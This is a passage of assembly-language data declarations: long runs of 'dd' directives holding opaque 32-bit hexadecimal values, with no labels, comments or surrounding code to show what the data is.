9FD974D3h, 18984223h, 0F60B132Ch dd 604B9431h, 3336E083h, 0D6D4E271h, 23053C5Ch, 0FB7E46A0h dd 9222B961h, 1C3B0957h, 4958689Ch, 0A9BCEFD8h, 0D250AFAEh dd 7C0C640h, 4DDC5A0Fh, 0B2968775h, 1F1A3302h, 0BBA30F94h dd 0D8882221h, 3002C8C6h, 166BCD76h, 0E3E40F58h, 523F0BFAh dd 0BDA4B450h, 0E7A89247h, 22B411C4h, 5138FFC9h, 0E6F8F6ACh dd 96A99502h, 0A958001Bh, 7F68A487h, 0B0B372D8h, 0F82A7070h dd 633B42F0h, 73EA99DCh, 9B3B055Dh, 0EE8591B8h, 0C69E1DA9h dd 0C7843591h, 7BB6DC4Ch, 0CEB9BD6Ah, 88A7E792h, 37D7BD0Ah dd 8D514A0Eh, 0C34A14E8h, 0B5E6F38Ah, 0F6AD52ADh, 0D8E3B0BBh dd 6D597062h, 0B7746F18h, 62F88DE4h, 0C8D14C11h, 0C79F5508h dd 75BFC05Eh, 12E239DBh, 3796CD19h, 34B32FBBh, 0D89259A1h dd 0DD8F12DEh, 5D1A87DAh, 6EBE9C8h, 6F5C69E5h, 99E6940Eh dd 0AECA8359h, 87BB8465h, 82997E6Ah, 28B8C430h, 0C488A56Bh dd 3D16DD8Eh, 478FD754h, 28FDFA7Dh, 0A9722184h, 0EAC10224h dd 95D389C0h, 0BBEAE87Dh, 0CFF96BADh, 0DD785882h, 0E9D31227h dd 6973D806h, 0F2FA6194h, 0F332196Bh, 0A8F11B84h, 791F34C9h dd 12B8CF18h, 0D4790066h, 84025743h, 96E996EFh, 0B19293D0h dd 0CDAA3CCCh, 9F05AB1Eh, 0BBC68DABh, 9D949F01h, 0EB209A7Bh dd 0B7A42FA7h, 0B8A21F65h, 8997FA24h, 495B6121h, 8E748537h dd 0EC8C7C32h, 585D2922h, 0FEF40D9h, 0A1EA796h, 37BD258Dh dd 6CD8A9B8h, 248EDB4Ch, 449E74C0h, 68E276BEh, 0ABDB6DC6h dd 1257E3F1h, 0EBAFAD2Fh, 0C9941AFCh, 0A4920149h, 7B9371h dd 6DDC645Bh, 85C1E2F1h, 46BCEF1Eh, 53E187BCh, 0EBA3726Eh dd 69834D29h, 0B3D5A9F1h, 354D20BDh, 0FF85171Eh, 0DE15E3Fh dd 0A6AF3C89h, 13246AC9h, 2171400Ch, 117AAAB3h, 188DC0C1h dd 9AC35B34h, 0E6BD69A3h, 24A2D8E2h, 9FFF95Fh, 4E370058h dd 2E543CB1h, 48772DD9h, 1EDAF2CAh, 9D3452C7h, 8C6E926h dd 58FDB7A3h, 0DD736144h, 0E60E4567h, 14FF1DDAh, 6BCB06B1h dd 74A16D40h, 8F9A3D62h, 0C66D79A7h, 0A608BECCh, 0FECFE645h dd 661CB704h, 8229FD4Ch, 21776B4h, 98D8D420h, 75A8B3FBh dd 0F93F9D99h, 93E6D066h, 41CA1F12h, 6C51B66Eh, 0BB7F34E9h dd 0B4E4B8B6h, 0BD56261Fh, 322991F7h, 1F26CD59h, 209AF2C2h dd 2DE62CE4h, 4557CE7Ch, 7FF8B6AEh, 0D4F4DA96h, 0B2CE8D28h dd 0B550AEA9h, 175140E7h, 0D01BEADCh, 3E7A20B7h, 2DEFBE17h dd 0FA05ADC4h, 0E100A35h, 11654486h, 569D2751h, 204763A0h dd 5BF74265h, 8687DDA1h, 9CD73C0Eh, 97402390h, 0C59482F1h dd 85EF6B80h, 0C66E9E7Fh, 587D3D9Dh, 89BED5CCh, 0A52E352Fh dd 33672420h, 636D8D5h, 207F9A47h, 7E100D98h, 6DBF0E6Fh dd 0EE9E9F89h, 2C4BF691h, 6B8840C9h, 0CD08D38Dh, 272A9CB7h dd 7655C8F4h, 0D0F9C4ADh, 44ABBF50h, 0D0BDC2C5h, 0DA2502BCh dd 325A71EEh, 4A5B40h, 0C61DE4CEh, 0AF1F0C19h, 261C7219h dd 0B4995D08h, 575858DAh, 435C002Dh, 5B2727A6h, 86FC0DC2h dd 1E043C22h, 7073F983h, 0A450B9DDh, 374D3D9Ah, 516EDBCBh dd 7B7191A2h, 127237CDh, 2A454788h, 296F9ABFh, 0C6431E34h dd 2E78ECE7h, 0ED0408F1h, 139C3506h, 9DAABA4h, 4CB2AFCFh dd 37A25ADFh, 252ECBA7h, 0E82FDD34h, 8DE4179Ah, 312123D0h dd 924EF5B9h, 2E5586A1h, 491EEBA9h, 23C0A1D4h, 121428CDh dd 89D8C156h, 8A729082h, 24D7A2EBh, 69714830h, 0CBA2E455h dd 0ECF35625h, 9888F347h, 0D5868C78h, 4983EAC8h, 1E7A0E43h dd 0EDFC9440h, 0CF6AA300h, 494F3573h, 9F4F84C5h, 6F7DF058h dd 0AA5A7F3Ah, 0B4AA2680h, 0D1A0FADBh, 0F37E2E05h, 0AE4CFA9Ah dd 0A4BE40B5h, 0E91034C2h, 18F0B75Dh, 2A0850CAh, 79B1964Bh dd 88D51D07h, 0D697113Fh, 0D7E73036h, 4E0AD4E5h, 9EE36B75h dd 19E9864Ch, 370A174Dh, 4C7FADBh, 3217F0A2h, 3B06E0DDh dd 4A2BE441h, 16607F7Ch, 0B4DE83B6h, 6A0356CDh, 0FC30E796h dd 69052905h, 0F2881E2Ch, 0EB92A96Dh, 9FC3799Fh, 8AB166FEh dd 0BBD98212h, 0EF77D6F8h, 4C60FA56h, 55B9E990h, 0A9E3AF72h dd 0F2E5BCA8h, 0C119467Eh, 13C0EFD9h, 0A31144AEh, 26D53514h dd 0ABA6EEA0h, 0AC947AF8h, 7374D930h, 51C09C12h, 0EF12FCCAh dd 6E13C994h, 0C14ADADDh, 397689D9h, 180603BEh, 0F627D7E9h dd 0F2AE296Bh, 0C5D21B5Eh, 0F00135C3h, 311BE623h, 1CBE6316h dd 97B166Bh, 54616D2Bh, 0C3B30A20h, 0F6BE587Dh, 22873CE5h dd 10217ED3h, 737A86Fh, 43215001h, 7E7FE506h, 31A2FD6Bh dd 9D31A69Fh, 19E6C527h, 916643D2h, 2A0E6925h, 4718B7C4h dd 771EB85h, 44074B5Fh, 3D5D00C6h, 9276160Dh, 1A863B01h dd 45616105h, 9DE0F69Eh, 8D50F059h, 0A22769AAh, 5947233Dh dd 0B56CE5B0h, 9E7D6467h, 0CC044138h, 6A4DC479h, 7BD0006Ah dd 95909DFh, 0CB0C35B1h, 77316D6Dh, 0A407DB3Dh, 11ABEF3Dh dd 98ABE20h, 78482C79h, 84FABDB8h, 0A2C83C46h, 62A7D092h dd 84A6494Bh, 0ED910D48h, 0A769A875h, 3031AC88h, 0CF0A1EB8h dd 572758BDh, 0C625F69Dh, 54C9C48Dh, 7DD02D41h, 3D9F8D8Dh dd 0C75B189Bh, 0E19F9D14h, 0D52322D5h, 0A9AFD2CAh, 0EB6F5A4Fh dd 0AA1BA773h, 0ACCCDFE7h, 0E9777DB1h, 324D0055h, 949C825Ch dd 0B2D36B67h, 7771367Dh, 0DC767F78h, 784C4767h, 0C9F1456Ch dd 99B20B9Fh, 90F4157Eh, 7F225B86h, 56D24E09h, 0F58EADh dd 6E9D044Eh, 0ABF7F6h, 0E70979A0h, 0D73342ACh, 3D56E0B1h dd 0BF357002h, 84389AD8h, 0EB95A2DBh, 0F1555688h, 139A89D9h dd 0B13E31A8h, 8C5CBD0Eh, 0CCD73A7Fh, 0C6EE5179h, 0C7F48169h dd 0A264CF59h, 0CEA0E7CDh dd 9D3FC302h, 0E02C4AEh, 24286DC3h, 0A13F7AF0h, 0B8F2808Dh dd 5F13979Fh, 0A21F70B9h, 0BDA4E6C3h, 148C1681h, 32E3F6D8h dd 9E0869D6h, 0FEE13F14h, 58F49AFFh, 48341F3Ah, 0C5DF9815h dd 33E02FEEh, 0F7D1A73Dh, 48115749h, 0EA83A599h, 0C8AE8E62h dd 69DD5CE4h, 5CB7ACE6h, 0A0694E68h, 32FBEFD1h, 0A023B05Dh dd 0F801FF37h, 75FD463Ch, 836C73AFh, 0B67EAE5Fh, 0EE044419h dd 72125B2Fh, 5874AD1Dh, 2A56DFh, 0E81DD38Dh, 2E629E6Dh dd 74B6DCC0h, 1C3E48F0h, 37134275h, 2142A4ACh, 8C5AD79h dd 44F40D1Eh, 27963A15h, 0CF89D494h, 4D2CCB25h, 48151991h dd 21E1E7CBh, 0D430C347h, 94462424h, 334CCE18h, 0DEA3E41Fh dd 0C17C360Ah, 37380A30h, 0B854F1E3h, 2F3DA8DFh, 2D1F5699h dd 0EA253FD2h, 0EE434F6h, 7D84B4D8h, 516FA42Dh, 0D6B3F5D9h dd 8D05C9BCh, 0D6E1164Dh, 5EE43967h, 0EDE94BAAh, 50E5EC63h dd 4F0A00B3h, 0F4828987h, 365C29B0h, 0F85363A8h, 0FCFA28C6h dd 105D3AD4h, 0D80553A7h, 0BEF18030h, 0D367714Dh, 0DAAD7601h dd 0AB91B8EBh, 0C252340h, 6565DC2Bh, 0DAD463h, 0CDFA5A29h dd 9AC6ADBCh, 905A6522h, 0AE77E334h, 0C94944D9h, 0B1671F24h dd 0D15F0E34h, 498A9AFBh, 7AEFA9F4h, 26455B5h, 71128856h dd 0C92A20h, 0FC773CB4h, 9F540335h, 0CF33F775h, 17CC1956h dd 7377D9E0h, 0CC429C9Eh, 3A1F99B7h, 9F62A7B6h, 769CE044h dd 2CF6E18Ah, 3D74ABF5h, 0DA1E033h, 29553E4Dh, 11B56502h dd 0E3DA576Ah, 82DD2874h, 7C358632h, 8E98F847h, 0BD69695Bh dd 38DDF77h, 0BE4D3981h, 8A45FFDEh, 0A8166450h, 3835D517h dd 21A44C92h, 0D309B2CCh, 2068EC39h, 0F4D85B29h, 3A6E9B48h dd 32870F6Ah, 792EBCA4h, 0BD564B36h, 9A8DA2EEh, 76BE5E00h dd 9C81742h, 0BECE4DB5h, 88365FCEh, 20331A5Dh, 0CDB2C68Bh dd 55613946h, 0FF7EDA1Ch, 24E52EFCh, 0C068EE10h, 0B61629D0h dd 20F34F35h, 5E6D5679h, 0D74940E5h, 0D2BE1CEAh, 9B15443Bh dd 9866162Ch, 7ABC19CEh, 3BD1550Bh, 0F0E7568Ch, 0F575C96Eh dd 21C60D7Fh, 408CCD38h, 279CB9C9h, 2970A45Bh, 763AFFD6h dd 9D2D10EFh, 35E3E658h, 0A27E9794h, 2D6BEDD3h, 86E4F6E5h dd 307DA1F8h, 0DE9EC2B8h, 3E481E9Fh, 5AF55E39h, 9E73A9BCh dd 0AB9BC91Bh, 0C420730Eh, 0BD5F21C7h, 69CA71Bh, 0ABA319BFh dd 24EBD6D0h, 768ED831h, 762C1E40h, 0E4E8B650h, 112972FFh dd 0E25CCBE6h, 0FFB7CCF8h, 3645D3D1h, 4E022C7Eh, 0E58237E7h dd 0CB47C3C2h, 2C944A62h, 865AA46h, 0DEF6A8E4h, 0F8302129h dd 38C77F77h, 4AB24DD9h, 76A248Dh, 78D743BEh, 9294A451h dd 89798861h, 9BA88D90h, 751434C3h, 6E3BA4E3h, 3D95FCEEh dd 20CFD66Eh, 2CB98950h, 7ED849F9h, 0B6D77406h, 7EF3F4E3h dd 0E3A2F818h, 0A54A1995h, 0AE3170EFh, 0C57519FDh, 0D2BEB212h dd 1DCB2547h, 39251074h, 0BA2A71EFh, 4E791CC9h, 8EA45C79h dd 8737C7D0h, 0B918122Eh, 5E6E4A5Ah, 0F558D283h, 0E94D6DDAh dd 0B8690A70h, 759D5D9Ch, 0C78A8E61h, 0B73D08CDh, 0C8EC0605h dd 7C420ABCh, 0FC3333CBh, 0FEAB9A79h, 0E45585D6h, 0AC4BADD7h dd 950EF8C7h, 87AB07DFh, 0AA05A4CDh, 5602AE9Eh, 0F5023876h dd 2435483Eh, 49E64211h, 2909E724h, 21DD4FD3h, 27AFFC7Eh dd 73839848h, 3306C328h, 32796E4Ch, 5001C24Ah, 957E9D4Dh dd 0CF7123A0h, 72A5D55Ah, 19AF4FE7h, 0B8F9DF6h, 3605BB43h dd 4F07C251h, 0E9EF9C6Eh, 0FA5E7F54h, 908A025h, 0F8ABABBAh dd 872D82E8h, 0DC076D28h, 4BE9A797h, 0F5758E4Ch, 4B084AEBh dd 3B83C9AFh, 85421AFEh, 34352C53h, 65EAA944h, 5CCF77E8h dd 0A563B081h, 0F41B15BDh, 1047B129h, 5FAEA4C7h, 51313BFBh dd 21006FDAh, 6D8838B5h, 0B7A1AB13h, 9A246992h, 173A5A09h dd 0C173DC12h, 0CEA09AEh, 7F5B5ED6h, 56C56F63h, 2A3EF89h dd 0FAA08F11h, 0B88E298Eh, 682E24D0h, 6967E74Bh, 9E9382C9h dd 0B6A1AEE4h, 41610ADh, 82C214Ah, 31A3CC13h, 465F831Eh dd 0C6C113FCh, 12EBAEEEh, 0CE11DE35h, 0D2190DA2h, 71F3BB0Eh dd 293FABCAh, 88AD7F75h, 8337C2C3h, 28B26C9Ah, 2609AA9Fh dd 0A730F293h, 0EAECFF11h, 2BB54236h, 18910275h, 32E497E2h dd 2689B717h, 44D558D3h, 0FCEB39B3h, 64D2318Ch, 9169F109h dd 3D76C599h, 0A4DFBF33h, 0E03BBC5Ah, 2AF8CEC0h, 0DE413928h dd 0B5B47B04h, 0E573E9C7h, 0D0C459DCh, 0B3CE6722h, 0CDEBA30Ah dd 63D2DAFDh, 0CF210C65h, 0A075FC97h, 0F4283746h, 4BDF3A46h dd 74D160FDh, 0EA888104h, 20A4D1CCh, 0FC013ADFh, 3EC85204h dd 327B46D0h, 88C70697h, 0B34C97FEh, 2B3995F7h, 923AC20Dh dd 1731AFFCh, 6C0DBCD4h, 0D131B819h, 0C708FB61h, 6763DEEBh dd 0D4A4C545h, 0BD9150F1h, 93E2C90h, 0B87AD5E3h, 5577B208h dd 0E3EA46EDh, 203F5E95h, 91C5D536h, 0CFCC960Fh, 0E744CC6Ch dd 0DC05373Dh, 6C87783Fh, 4D5AD752h, 0FD37D807h, 6737C412h dd 93DA9E5Ch, 5BBD9F7Dh, 744BC207h, 0A1F8BA6Dh, 46FC651Fh dd 40284FC4h, 58D41E19h, 2E6C9B79h, 0C429F732h, 7DC53FB2h dd 39981C6Ch, 9E28891Eh, 0BE119BDFh, 0D7F626BEh, 22C8237Fh dd 0BCECF47Fh, 65DC3398h, 9EADC753h, 0D6247281h, 880CB200h dd 6CA26266h, 9FF02E7Fh, 0A42A5DBFh, 6F37EE14h, 5FDD3321h dd 0ECBAF6F3h, 4B165D65h, 31D32195h, 706B772Fh, 95E90EE5h dd 11FCF07Ch, 389111D4h, 2E9DC683h, 28020E4Bh, 708981DCh dd 7D41C891h, 9C1BCA40h, 0BA2F426h, 110336CEh, 7B38C272h dd 88EEF7C5h, 5EED8C72h, 710089A7h, 33C20381h, 519A8A42h dd 0E3C75FBFh, 0D33A0935h, 0D6A7AC91h, 364EF9DEh, 0A94F1FFCh dd 181EEB90h, 0C0EEF473h, 0E0C0C871h, 6E2EFE70h, 8498B913h dd 0D23AADBBh, 0A77E1B05h, 47D89106h, 0F1BA6A2Ah, 5E25D884h dd 431D65DCh, 44B444E7h, 0A9F2871Fh, 18C8AE93h, 0FAA72BD1h dd 0A186D8BAh, 0A124D314h, 0BC8091E0h, 0EC201C52h, 7F28E0ABh dd 4B6DB0BFh, 16E84A73h, 0B9D349F0h, 5592874Ah, 8E60ED01h dd 21C4646h, 0F39E244Eh, 16E3B43h, 0E86BF430h, 0D2771ED8h dd 0CBDD0013h, 7F59E7EBh, 865E4CE5h, 6200A777h, 0EBEA0D79h dd 0C13AF5Bh, 0FDB1D03Eh, 632AADFBh, 68AC2F85h, 2437E5h dd 0C5900C51h, 4EF4B56h, 4680733Ah, 0A0C34B5Bh, 0D14DD9F9h dd 6A0CDFDDh, 0CFE5E797h, 450221F4h, 14417076h, 0D4934EA9h dd 0F2310C8Ch, 7D4F6272h, 0B8D958C6h, 21047AD0h, 51131888h dd 7E32A7DFh, 0E7A3014Fh, 93F511FDh, 0EDD6AED4h, 30CC00BAh dd 0A9A4A04Fh, 530340C2h, 0ACDBD46Ch, 0EC28869Dh, 3501D678h dd 34E3E50Dh, 233D9219h, 0B4274660h, 0BD57F4D5h, 7BDBE9D2h dd 8686B82Fh, 6A47BFA6h, 0A7E75AE0h, 8F11B4C0h, 497CEA29h dd 7480B19Ch, 0FDB3429Bh, 77FD3148h, 0DECB5A5Eh, 96AA20D5h dd 0D8155F1h, 74BD92BFh, 9B7402C8h, 0D53AAF2Eh, 114149Bh dd 0CABA064Bh, 73FC2342h, 349CDE4Dh, 332FA0Dh, 38FC3BF8h dd 0FB90E2CAh, 0BDC4BE1Fh, 6BF01392h, 6A3B0384h, 67CDFBh dd 0D9E90C99h, 0B69CE36h, 44D515C5h, 29CB01BFh, 0B7752FDEh dd 0CC83401Ch, 2EF39B2Fh, 394D7ED6h, 0C97589B8h, 64584702h dd 87694CA1h, 50FFC272h, 0C95AD044h, 9C4B06CEh, 99015BE2h dd 93BBB5E1h, 0E528BEEDh, 0D35ECDB2h, 7D3635A0h, 0B2B8CD03h dd 0B6A1FBCEh, 8C67B830h dd 8D550ED4h, 2AAE6CC4h, 9FCA824Eh, 0CE55037Ah, 59668F9Eh dd 0AFD28B66h, 9ACF91C5h, 0A4AB4F09h, 0D69F2Fh, 5245784Ch dd 4A03EB91h, 30D124E9h, 0EA773FB7h, 4DE4B148h, 0C41B437Ah dd 5A935DEEh, 0EBBC35A7h, 2B477CDAh, 0AA63D02Fh, 0CD2CFAA7h dd 2CE22E93h, 0CDB426D1h, 0D4693A8Fh, 96B7F20h, 8EBFC15Bh dd 0FA08B537h, 8B055208h, 3526E21Eh, 0B82CC04Bh, 6EE71590h dd 408BAC3Bh, 0A47147A0h, 0AF1273A3h, 0BC653A89h, 828BA158h dd 0AEEA1755h, 8455C86Eh, 0F1DE33B3h, 0F34B1E6Fh, 9516312Dh dd 81F78B0Ch, 0B8DE4B19h, 0A673AABCh, 6411630Bh, 0D341E623h dd 0BF3473CFh, 7997CA98h, 9CE62F5Bh, 7651F094h, 0C25C7ED1h dd 0C1A31769h, 0F6B25AC5h, 0BD421EAFh, 9033F59Bh, 3A6FF3C2h dd 9A8CD257h, 0ADCFDF53h, 0B1A5523Dh, 0CC2A8C3Fh, 1802456Dh dd 0D7BEE6B2h, 4F9E0A0Ah, 0D6197A93h, 0DD25493Dh, 0A4997262h dd 1B2526EFh, 8B365EBBh, 0C53F80A5h, 5928662Ch, 319C621Fh dd 0A2EA089Bh, 0D6D029C2h, 4B336171h, 641B773Ch, 2C583017h dd 3CB8AF39h, 6D7A2C9Eh, 8ED08DDEh, 7CCB8389h, 68ED0CA7h dd 0BCB82E9Bh, 8D96A808h, 0F2EAB429h, 0D3D991D8h, 0DF9DD89Ch dd 0F11EEE63h, 74B5EFEAh, 6721D0A1h, 0C0EB9613h, 0B22E96FFh dd 6FEE1493h, 0FF68C674h, 5D25A82Ah, 7CF28DBh, 99B852B0h dd 3FDAE30Bh, 0E1BE0EACh, 0AA31A31Ah, 0F9E4B335h, 1EC86C07h dd 9815A99Ah, 3F159557h, 276B51D4h, 1870D598h, 0E362DD87h dd 2FD7803Bh, 9B933E88h, 886AB8F2h, 0D35BA66Ch, 74F7745Ah dd 0AB34D7D7h, 0A73DF000h, 472AACF5h, 0EED8A69h, 1E1179EFh dd 4A0D57AFh, 28D84FB7h, 4CE589h, 790A6441h, 0D7945EEDh dd 0AAA4B1D9h, 3853DF88h, 33B66FF7h, 0B464C9Eh, 2470DEE6h dd 3949DF14h, 75185535h, 39091C3Eh, 5AB87BC5h, 15F99887h dd 0CB3A205Ch, 55C06F9Ch, 2B2C3BD7h, 83755AD1h, 3B10844h dd 0FBC9E0D5h, 0BB0D133Fh, 0A641C2FFh, 0D5614E70h, 358BDCAFh dd 2A083056h, 0C4F63E57h, 3F8A539Fh, 0E1857AFFh, 1D4413C5h dd 0C2D64879h, 0D0A60971h, 0CC658B2Dh, 8978EC00h, 5FB0C879h dd 0D4CDE7ABh, 6BD13884h, 0B9ABBE8Ah, 0BB449F15h, 0E4CBFCF8h dd 0E4CE4293h, 747391F3h, 1817732Bh, 0D50F4F40h, 571EB0B4h dd 0C8523B66h, 5144CA1h, 1BCA6A1Bh, 697DD797h, 0CF739156h dd 0D3CDE723h, 0A636046Ch, 29DC7D0Bh, 3F5C601Fh, 0FD38CA59h dd 0B91D07D0h, 39D2BC5Eh, 7E9F96F9h, 0E4C47B00h, 4564BAD8h dd 0E1C7E0FFh, 59781052h, 5E8B5BB5h, 609ED790h, 7368D25h dd 4CA3E881h, 0B732D997h, 8D760AD0h, 0C9EB5D95h, 0BE09719Ah dd 0E17DD493h, 8C95E465h, 57BAB3E8h, 3A379B99h, 0D2AAFDC6h dd 6F53443Dh, 2C7BE2AAh, 50FF444Bh, 0E1C5EFB3h, 2E288C25h dd 0A3C2C507h, 11F9415Ch, 6083686Ch, 31665C71h, 8844520Dh dd 72351546h, 73BFCADAh, 0FAE2173Bh, 0BD1932AFh, 3128CA40h dd 0B225AF66h, 3680159Bh, 6F8B3857h, 0A642B160h, 0A81F8EEEh dd 83633534h, 4586D57h, 16AF0B88h, 3221FF03h, 0F283B761h dd 0AAF61344h, 601AB4Bh, 0B7D957F2h, 6403A9F1h, 2000080Ah dd 0AD062857h, 8245D606h, 7E4CB9ACh, 1E624867h, 0E5A1106h dd 89AB94C7h, 0B6F9230h, 99861200h, 0F69FA215h, 0BA62870Fh dd 37CAA580h, 3C9BF7FBh, 0A1DC1A07h, 59B32203h, 0FBB37510h dd 0D96087ADh, 2C7011F6h, 0EC30B8C5h, 20771EEBh, 689CB7E7h dd 0F6AD992Fh, 3F35A5ABh, 0B95EC49Bh, 514645E2h, 0B2FCDE47h dd 200B921Ah, 19679738h, 0A4A962FAh, 5BF2C90Ah, 58F78CEFh dd 8B4A044Ch, 48AEEAAFh, 6322F895h, 6CC6D2Ch, 3CB64641h dd 2D1D91F7h, 0C3274Eh, 0D2F2F8ABh, 34FFF0F7h, 0E6CA695h dd 25CE4D56h, 973692FAh, 2CBFEE54h, 0F6379633h, 5C648577h dd 2F2306C2h, 56F42A9Ch, 3425BCF3h, 0B3035455h, 1409D5D6h dd 30B73D69h, 732FCDCFh, 6185187h, 5F0B8485h, 0ACEDADh dd 0D6A0526Dh, 55A5AA0Eh, 0F6169067h, 2E85A4FBh, 0C3F6BB49h dd 7166C6A1h, 0B4CBEDD6h, 6E8560A0h, 9A9416Fh, 97D7EBF2h dd 0F916E7B3h, 0F83ADF9Eh, 2F6E4CAEh, 2F12F4BCh, 0D0D77EA4h dd 0C4AD3045h, 82EA5AACh, 1DB0B552h, 0D874C442h, 9F8D64FFh dd 0F9B7B73Dh, 0D1048497h, 0B30B85E6h, 8EE21B1Eh, 0D3FC411Ch dd 0C9CAAF73h, 3C320300h, 0D5F6EDF6h, 0CCE7B62Fh, 96EC7ECDh dd 50B0C5A8h, 1345173Eh, 0B96E49D6h, 0EA68009Ah, 288DCF9Dh dd 581020Dh, 57CAC018h, 0A90BE537h, 358BE85h, 4393A727h dd 15DC9C75h, 0F8752D51h, 1DEAA91Eh, 9CD47AFCh, 1792BFA5h dd 0DFAEB839h, 296E5690h, 439FDBFCh, 9732E986h, 4339974Ah dd 38590Dh, 9D351D3Eh, 8E8098Fh, 0C2219D42h, 270654B7h dd 622DA556h, 0EECD7C9h, 4B0841A1h, 9469F285h, 23D8EE9h dd 8660EDBAh, 0F51F96CCh, 87441F0h, 2A76FF6Ah, 53B9E98h dd 0A142AEF2h, 18A9E8BAh, 4E15CC95h, 6A2B30B1h, 98D8ACAEh dd 0A9F56407h, 0C10F2570h, 7AD15387h, 0FD730BF3h, 62E1B01Ch dd 0AFFB05FAh, 134E6F5Bh, 18E25741h, 0C19DF033h, 0CC94374Fh dd 0CE165D20h, 0DF0473A2h, 45FEA0B4h, 0BF69424h, 0E8BF9CB8h dd 9DA6F4E5h, 47D3F460h, 0D207FE8Dh, 5B7E2D1h, 0C2342A27h dd 37B9B50Bh, 47801D7Dh, 90F301E5h, 0C0F30059h, 0AE41B2EBh dd 0DB41DD5h, 0E3765846h, 0F36F20CBh, 0C1E1A236h, 50CCE909h dd 0CDE20778h, 37AA4B44h, 3925B19Ah, 790BC7BDh, 0B0A6B912h dd 7BCBA897h, 0AF25936Dh, 0FA1FC70Dh, 73E32E99h, 0A52BC92Ch dd 45DEAB41h, 176877EFh, 52FE4DC9h, 68826341h, 995FA69Dh dd 8C428AAEh, 8FDD90DFh, 2493C846h, 0DE6DCA5Ah, 0B44822F2h dd 0AC98BE9Eh, 4CAB78F4h, 0BC637726h, 0FCE5EFD9h, 0D30B937h dd 1318B97Ah, 9858E06Bh, 0D52AA97Dh, 96A6B325h, 28AA7E91h dd 48CAAB2Dh, 35C9912Dh, 318B5E1Eh, 2AF3EE55h, 0DD18480Ah dd 699B78B3h, 0FB0E99F7h, 0D728E8D6h, 0CF89AE71h, 5D958C43h dd 0BE52C4B4h, 1D806EB3h, 7D5BEE8Eh, 831120A8h, 0EADC583Ah dd 0FEE8A942h, 0C3E052D7h, 0C7FA5A74h, 0DEB19h, 0CFF86746h dd 47AF2228h, 0B8D61A55h, 0B9EC959Bh, 0F941002Dh, 4621C454h dd 0CFEC5F90h, 6091471h, 79A0810Ch, 96012E40h, 48FFE983h dd 5D8F1BDCh, 12372144h, 0F3009E95h, 0DF57F370h, 1532B24Bh dd 29027501h, 0EE201E33h, 0A9CD8841h, 6CCD86DDh, 543344D2h dd 44A0DEE6h, 8A9D6CE4h, 5E35AD80h, 7BA8DA04h, 0B1BF994Fh dd 56326F67h, 141954E1h, 0A34DF076h, 2A8B369h, 0B5A2D7C6h dd 938B0981h, 156DD612h, 0C03EF152h, 62238F2h, 1F8D040Ah dd 31C3C29Bh, 0C87EF498h, 0F4C500DCh, 85582EF2h, 5CDCC067h dd 0BC1280CBh, 8B770Fh, 0F9032B16h, 136EA0D9h, 0DE7AEF5Bh dd 472ACB47h, 0F6A89009h, 74D1A9D0h, 0D234A4FDh, 2D75FDBh dd 0FF102E78h, 1B9BEB09h, 125FC950h, 8DDEA114h, 0EE29FFFFh dd 0F408D9DAh, 7DA66455h, 7C264D25h, 88CD1D74h, 7B35A1C2h dd 0E394B4B6h, 1F51E287h, 0F027244Ah, 0AA1E228Dh, 8DC88F55h dd 276AEC65h, 12A7821Dh, 0A7DA423Ch, 9B534454h, 67E00ED0h dd 0C3909901h, 0C0A8C68h, 77CD93D3h, 9CF9886h, 0DEFCDBAFh dd 0BB228857h, 0F008AAA0h, 8F34EA29h, 804AAF95h, 227BDBEDh dd 0E4E16117h, 1B20CE4Dh, 674FE177h, 3D2A5BA6h, 4B28945Dh dd 3BE61209h, 442DE5F7h dd 5AB687D9h, 856C7DEEh, 7C535A66h, 10A34ECDh, 0A1E13727h dd 4AFF9EF2h, 53C2E4C4h, 9D13CD9Bh, 12298751h, 18E2057Bh dd 0D9275289h, 0E0947EB3h, 0D70CE6A9h, 0EBA5C4ACh, 0A97DF990h dd 0A2823C2Ch, 55E6050Dh, 3C8CD28h, 0F1B8D92Bh, 35A3EC33h dd 0AD627659h, 18F468BBh, 71B8FF1Dh, 5AB6867Ah, 38611372h dd 193D4A21h, 2171085Dh, 22E699EAh, 63EEDDEBh, 0EBE58146h dd 5D152097h, 8F2047E4h, 86B15535h, 6228B89Ah, 0F6613AE2h dd 77F8EE2h, 96F60F41h, 8F03D0EEh, 3918AEDh, 24099203h dd 0B66BC329h, 6D3078D1h, 4BC7B13Ch, 6B135A47h, 0DA5C0011h dd 0D8AFBDC2h, 3F407BCh, 84C99B5Eh, 0F7AB663Bh, 8C083340h dd 0B9F7D61Ah, 0A7FDDF19h, 5DFD041Eh, 0E1338330h, 98A6DC5Eh dd 0F1559789h, 32234576h, 0A86BA105h, 0BE930364h, 0D2603B68h dd 0E8541CA5h, 5B08B12Dh, 83BEEBF1h, 8FBB7646h, 0B2E0561Eh dd 0D78F0E69h, 72230BE5h, 284A2B76h, 0D749129Ah, 61A681B0h dd 9C1AAFC2h, 1DCEFED0h, 827B7EA8h, 37E467FCh, 2E4A24E8h dd 0D59BD888h, 0ABE5C1BDh, 30DDAC43h, 0AAAE2B58h, 0B18FF975h dd 0B07C8C48h, 73169BF2h, 0A4C5F97h, 782D28B5h, 49E5E990h dd 10F615B4h, 4E006453h, 59CD6D8Fh, 89BED0C9h, 0EB595AE7h dd 442D0036h, 0BE1E581Ch, 94CAF5E6h, 58803FB3h, 0DDD65274h dd 226D63E7h, 75758353h, 9CEC1832h, 0D5E2D504h, 5A93568Dh dd 0C318E2B4h, 0C54DC205h, 0BC099519h, 11554A18h, 0AFC9C0C8h dd 0CA0E074Dh, 3E92EFEh, 7451CDC7h, 0A51FEF3Bh, 0D56B3E56h dd 0A3972D8h, 0C59422A3h, 0DA9862AAh, 593A35B0h, 1925487Ch dd 0AE83CE59h, 0E078E84h, 0D6C5FE8Fh, 0BD59B684h, 682F6064h dd 53D1E64h, 0CE0A8E74h, 5873B932h, 0D7724263h, 831A8B61h dd 0F2704E09h, 0B7739846h, 0D5C6DABDh, 11C8F75Eh, 59BA4EC3h dd 0AB127056h, 1CBDBB66h, 0AD3D828Eh, 90DFE7A6h, 0EBEC7ADEh dd 53CF5E29h, 20F960A8h, 28C57241h, 2A6309DDh, 8B6653Bh dd 0C0577CCEh, 0C4646ABDh, 67748D0h, 6278A05Dh, 0E1477B0h dd 0DB057E74h, 1C826253h, 22628D5Ah, 0BE817DB2h, 8A983087h dd 0CD62A00Bh, 19F87D9Fh, 7567BF80h, 691FBC6Eh, 0CE07E021h dd 63AF972Eh, 8242D473h, 0CACF2561h, 215B7F55h, 0EDCB9F68h dd 9E5739A0h, 5CA903A4h, 0DB770546h, 3A770B0Fh, 80113496h dd 0E7521CEh, 6D3E182Ah, 0F596C47Ah, 